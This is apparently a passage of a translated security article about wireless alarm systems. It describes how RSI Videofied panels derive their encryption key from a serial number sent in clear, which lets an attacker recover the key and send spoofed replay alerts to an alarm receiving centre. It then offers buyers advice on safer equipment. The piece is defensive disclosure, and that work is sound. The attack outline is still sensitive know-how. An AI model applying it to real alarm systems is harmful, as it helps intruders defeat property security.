我们使用RSI来制作一个报警系统,在检测器中有相机,并在被触发时拍摄视频和图片。然后将这些从检测器发送到面板,再将面板发送到报警接收中心。报警接收中心运行一些名为Frontel的软件,来接收警报和图像。

RSI Videofied在检测器和面板之间提供了一个加密。但是,当面板和报警接收中心之间建立连接时它并没有亮。

每个面板都使用基于面板序列号的固定的加密密钥。这个序列号是清楚地发送的,所以我们可以找出加密密钥。我们只需一小时就可以找到它。

这样,我们就可以连接到ARC,发送欺骗性的重放信号。

面对安全威胁我们该如何选择?

如果你已经安装了无线报警器也不必太过担心。虽然存在一定的安全隐患,但是就目前来看这样的攻击并不多见。

如果你正考虑安装一个无线报警器,那么请考虑以下几点建议:

有线的永远比无线的更加安全。

如果你的环境无法安装有线设备,那么请选择符合以下特点的设备:

  • 双向RF – 面板可以与检测器进行通信,使得干扰攻击更加困难,并且在报警被撤防的同时允许探测器进入睡眠状态,从而延长电池寿命。
  • 加密RF – 一些RF链路会被加密。
  • 滚动代码 – 使用伪随机代码使得干扰和重放攻击更加困难。
  • 跳频 – 这使得干扰以及信号拦截更加困难。
  • 分级 – 虽然一些符合分级标准的报警器也存在诸多问题,但总比那些没有任何分级标准的产品要好。

总结

作为我们个人,需要提高我们自身的安全意识。对于一些重要的设备,切不可随意接入互联网。如果对相关配置并不明确,则可以请专业的安装人员协助我们。作为设备的制造商,应该严格遵循相应的行业标准,最大程度的从设备源头解决潜在的安全威胁。但在实际生产中质量往往与价格有关,因此如何权衡质量和价格间的关系,值得厂商们的深思。

*参考来源:pentestpartners,FB小编 secist 编译,转载请注明来自FreeBuf(FreeBuf.COM)